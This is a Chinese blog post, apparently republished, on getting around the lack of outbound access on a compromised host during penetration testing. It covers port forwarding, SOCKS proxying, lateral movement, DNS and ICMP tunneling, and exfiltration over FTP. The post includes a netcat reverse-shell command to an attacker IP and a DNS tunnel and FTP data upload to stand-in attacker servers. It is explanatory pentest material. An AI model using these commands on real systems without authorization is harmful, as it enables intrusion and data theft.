渗透测试中目标主机不出网的解决办法

news2024/9/25 19:17:22

        当目标主机无法直接访问互联网时(即“目标主机不出网”),渗透测试的难度会增加,因为攻击者无法通过通常的外部资源(如命令与控制服务器、远程主机)与目标通信。然而,有多种技术可以帮助渗透测试人员绕过这些限制,继续进行信息收集、横向移动或数据渗出。下面详细解释一些常用的应对策略:

1. 端口转发(Port Forwarding)

端口转发可以让我们通过中间主机将特定流量转发到目标主机或从目标主机引导流量到外部网络。

  • 本地端口转发(Local Port Forwarding): 攻击者将目标主机的某些服务通过中间主机转发到攻击者的本地端口,这样攻击者可以像在本地访问这些服务一样。

    • 攻击机:Windwos 10
    • 目标主机:Kali;IP:192.168.241.128

       
      • 示例:通过SSH端口转发,访问目标内网中的数据库服务器。
      • 命令示例
        ssh -L 8080:target_internal_host:80 user@jump_host
      • 这将目标主机的80端口转发到攻击者本地的8080端口。
      • target_internal_host:目标主机
      • jump_host:中间主机,即控制后做的代理主机
         
  • 远程端口转发(Remote Port Forwarding): 目标主机无法主动访问外部网络时,可以通过目标主机将流量反向转发到攻击者的主机。

    • 目标主机:Kali,IP:192.168.241.133
    • 攻击机:IP:192.168.241.128
      • 示例:当目标主机无法直接访问互联网,但攻击者主机可以通过目标主机来转发请求。这个命令需在目标机器上执行。
      • 命令示例
        ssh -R 8080:localhost:80 user@attacker_machine
        这将攻击者的8080端口转发给目标主机,使得目标主机可以通过攻击者的端口访问外部。
      • localhost:靶机IP
      • attacker_machine:攻击机IP


         
      • 举例:
        在目标靶机上执行
      • ssh -R 8080:192.168.241.133:80 root@192.168.241.128


        在攻击机上查看转发结果,可以看到目标服务已经转发过来。

2. 代理隧道(Proxy Tunnel)

在内网环境中,如果有其他主机可以访问外部网络,可以利用这些主机作为代理。

  • Socks代理:使用工具如 proxychains,通过代理服务器将流量转发出去,代理可以是一个跳板机或其他可以出网的设备。
  • 工具示例:Metasploit中的Socks Proxy功能,或 proxychains 工具。
    • 命令示例
      proxychains nmap -sT -Pn internal_host
      这将通过代理进行内网主机扫描。
    • internal_host:内部主机

3. 内网横向移动

如果目标主机不出网,可以通过内网横向移动寻找其他可以出网的主机,或者继续扩展对内网的控制。

  • 方法:利用内网中存在的弱口令、未修补漏洞、或者域账户特权获取其他内网主机的访问权限。
  • 工具PsExec(远程执行命令)、Pass-the-Hash(使用已获取的哈希直接认证)、BloodHound(AD环境中的权限路径分析)。
  • 示例
    psexec.py administrator@target_machine

    target_machine:目标机器

4. DNS隧道(DNS Tunneling)

即使HTTP、HTTPS等流量被阻止,DNS流量通常不会被完全拦截。可以利用DNS隧道在DNS请求中嵌入数据,实现外部通信。

  • 原理:通过不断发送DNS查询,将数据编码在域名中,远程服务器解码查询内容,从而实现双向通信。
  • 工具iodinednscat2
  • 示例
    • 攻击者在外部服务器上设置DNS隧道服务:
      iodine -f dns.attacker.com
    • 目标主机通过DNS隧道向外部服务器发送数据。

5. ICMP 隧道(ICMP Tunneling)

在某些情况下,即使TCP/UDP流量被封锁,ICMP(如Ping)可能仍然可用。可以利用ICMP流量进行数据传输。

  • 原理:将数据嵌入ICMP Echo请求和应答中,绕过防火墙。
  • 工具Ptunnelicmpsh
  • 示例
    • 在攻击者机器上启动icmpsh,在目标主机上连接攻击者的ICMP隧道,完成数据传输。

6. 反向Shell和反向隧道

如果目标主机不能主动访问互联网,可以利用反向Shell或反向隧道,由目标主机主动发起连接。

  • 反向Shell:通过让目标主机发起连接到攻击者主机,建立回连。
  • 工具NetcatMetasploit
  • 命令示例

    在攻击机上:
  • nc -lvnp 4444
    目标主机上:
    nc attacker_ip 4444 -e /bin/bash
    这样攻击者可以获得目标主机的Shell权限。

7. 物理访问和离线攻击

如果完全无法通过网络进行操作,而有机会接触目标主机的物理设备,可以使用物理手段进行攻击。

  • 方法:利用USB设备(如BadUSB、Rubber Ducky)将恶意代码植入目标主机,或通过离线数据提取的方式获取重要信息。
  • 示例
    • 使用USB存储器传递攻击工具,或者在目标主机上执行恶意脚本。

8. 邮件、FTP或其他协议出网

某些内网环境可能封锁了常规的HTTP/HTTPS访问,但仍然允许其他协议(如邮件、FTP)进行外部通信。

  • 邮件:可以通过SMTP协议发送电子邮件将数据发出。
  • FTP:使用FTP上传或下载文件。
  • 示例
    • 在内网中利用FTP进行文件上传:
      ftp attacker_server
    • 上传目标系统的敏感数据。
    • attacker_server:攻击服务器

9. 利用内网服务

检查目标主机是否有内网的特定服务,如数据库服务、文件共享服务等,可以通过这些服务找到绕过网络限制的途径。

  • 数据库隧道:例如,内网中某些数据库可能可以与外部主机通信,渗透测试人员可以通过此路径进行数据渗出。
  • SMB隧道:利用内网文件共享服务,提取数据并通过外部工具传输。

总结:

  • 端口转发和代理隧道是通过已有的主机或服务绕过网络限制。
  • DNS/ICMP隧道和反向Shell则是通过隧道技术创建间接的通信通道。
  • 内网横向移动和物理攻击可以帮助我们扩展攻击面,找到新的出网路径或通过物理手段窃取数据。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2110066.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Bagging: 数量,而不是质量。

由 AI 生成:过度简化的树、引导聚合、集成方法、弱学习器、减少方差 集成方法 — 数量,而不是质量 一、说明 机器学习中的集成方法是指组合多个模型以提高预测性能的技术。集成方法背后的基本思想是聚合多个基础模型(通常称为弱学习器&#…

在JavaScript当中,为什么NaN===NaN和NaN==NaN返回false?

作者:CSDN-PleaSure乐事 欢迎大家阅读我的博客 希望大家喜欢 使用环境:vscode chrome 今天这个话题的缘由是早上和一位同专业的学长聊天,他在公司完成了一个项目,项目当中有一个40个字段的返回值,于是牵扯到了某道他遇…

算法练习题14——leetcode84柱形图中最大的矩形(单调栈)

题目描述: 解题思路: 要解决这个问题,我们需要找到每个柱子可以扩展的最大左右边界,然后计算以每个柱子为高度的最大矩形面积。 具体步骤如下: 计算每个柱子左侧最近的比当前柱子矮的位置: 使用一个单调…

MATLAB实现PID参数自动整定

目录 1、项目说明 2、文件说明 1、项目说明 本项目旨在通过 MATLAB 语言实现 PID 参数的自动整定,并设计了一个直观易用的 GUI 界面。该系统特别适用于实验室环境下的 PID 参数自整定任务。整定的核心原则在于优化系统性能,使系统的衰减比尽可能接近理…

R-Adapter:零样本模型微调新突破,提升鲁棒性与泛化能力 | ECCV 2024

大规模图像-文本预训练模型实现了零样本分类,并在不同数据分布下提供了一致的准确性。然而,这些模型在下游任务中通常需要微调优化,这会降低对于超出分布范围的数据的泛化能力,并需要大量的计算资源。论文提出新颖的Robust Adapte…

linux————根据端口查找运行目录的三种方法

先查询端口找到进程 netstat -anlpt | grep 16443 | grep -v grep tcp 0 0 0.0.0.0:16443 0.0.0.0:* LISTEN 3710563/nginx: mast tcp 0 0 192.168.110.253:16443 192.168.110.22:64430 ESTABLISHED 3710580/n…

When can I expect multiple “choices“ in an OpenAI response?

题意:"什么时候我可以在 OpenAI 的回复中预期到多个“选择”?" 问题背景: For a simple OpenAI api call in python 对于一个在 python 中简单的 OpenAI API 调用 response openai.ChatCompletion.create(model"gpt-4&quo…

vue2+ueditor集成秀米编辑器

一、百度富文本编辑器 1.首先下载 百度富文本编辑器 下载地址:GitHub - fex-team/ueditor: rich text 富文本编辑器 2.把下载好的文件整理好 放在图片目录下 3. 安装插件vue-ueditor-wrap npm install vue-ueditor-wrap 4.在你所需要展示的页面 引入vue-ueditor-wrap 此时…

苹果电脑需要安装杀毒软件吗?探索Mac的安全世界!

在聊到电脑安全时,许多Mac用户都骄傲地声称:“我的Mac是不会中病毒的!”确实,与Windows PC相比,Mac因其UNIX-based的操作系统构架,天生就更加安全。但这是否意味着Mac完全不需要杀毒软件呢?让我…

细胞因子系列

细胞因子是一类分泌性蛋白质,可以调控细胞之间的相互作用以及免疫反应等生物学过程。细胞因子在细胞信号传导、细胞生长、细胞分化和细胞凋亡等过程中起着重要作用。它们可以通过在细胞表面结合受体、介导细胞信号转导,从而调节免疫应答、细胞增殖和炎症…

Oracle RAC环境NBU异机恢复

一、故障原因 9月3日中午,主机运维人员误操作,对sydb数据库的ASM磁盘做了格式化,将三块共享磁盘做了分区,然后使用vgextend命令加入到本地文件系,造成sydb的两个实例异常,没有操作CRS磁盘,所以…

如何在IDEA的一个工程中创建多个项目?

在IDEA中,可以通过Module来创建新的工程。

仕考网:公务员考试资格审核时间是多久?

在国家公务员考试的报名过程中,考生完成信息填报并选定职位之后,资格审核结果将在提交后48小时内在报名信息页面公布。一般是从报名日次日上午8点开始,直至报名截止日次日18点结束。在此期间,考生可以通过国家公务员局的官方网站查…

8.分布式服务部署

文章目录 1.分布式服务部署1.1服务器个数1.2 ubuntu 的 MySQL 安装1.3对其他服务器授权1.4Java服务部署1.5常见问题 大家好,我是晓星航。今天为大家带来的是 分布式服务部署 相关的讲解!😀 1.分布式服务部署 1.1服务器个数 机器个数 1 - N…

Unity实战之滑动列表居中的放大其他的缩小功能

前言 最近项目需要做一个关卡选择列表,滑动到屏幕中间,代表该关卡被选中,展示选中状态。 预期效果 思路 使用3个父节点(左中右)用于挂载关卡item,通过改变关卡item的父节点来改变item的层级。 创建ui 创建父节点 首先创建一个空节点,命名为levelGroup,代表该节点…

硬刚苹果还得是华为

文|琥珀食酒社 作者 | 璇子 牛皮啊 华为发三折叠不意外 意外的是 这各种翻转简直颠覆想象 市面上没见过这么能“翻转”的? 要不怎么说硬刚苹果 还得看华为 就跟你同天怎么了? 拼创新、拼技术、拼热度 你就说哪比你差吧&#xff1f…

并联电容器后实际输出容量怎么测

要测量并联电容器后的实际输出容量,可以按照以下步骤进行: 1. 准备工作 断电安全:在进行任何测量之前,确保电容器和相关设备已经断电,以确保安全。检查设备:确保所有测量设备和仪器(如电容表、…

微信小程序实践案例

参考视频: https://www.bilibili.com/video/BV1834y1676P/?p36&spm_id_frompageDriver&vd_sourceb604c19516c17da30b6b1abb6c4e7ec0 前期准备 1、新建三个页面 "pages": ["pages/home/home","pages/message/message",&quo…

提升竞争力:优化多门店网络的方法

新型门店网络通过先进技术和架构,实现高效、安全的数据传输,优化业务流程,从而提升零售企业的运营效率和客户体验。核心组成包括扁平化网络架构、强大的无线覆盖及安全措施。随着AI和5G的推进,未来门店网络将不断创新,…

完整指南:CNStream流处理多路并发框架适配到NVIDIA Jetson Orin (三) 代码编译、各种问题解决、代码修改

目录 1 infer_server编译 1.1 infer_server/CMakeLists.txt修改 1.2 FindLibCompute.cmake编写 1.2 findLibCVCuda.cmake编写 1.3 ./3rdparty/config_lib_aarch64.sh修改 1.4 解决各种编译错误 1.4.1 /usr/include/c/11/bits/algorithmfwd.h:259:5: error: ‘pair’ doe…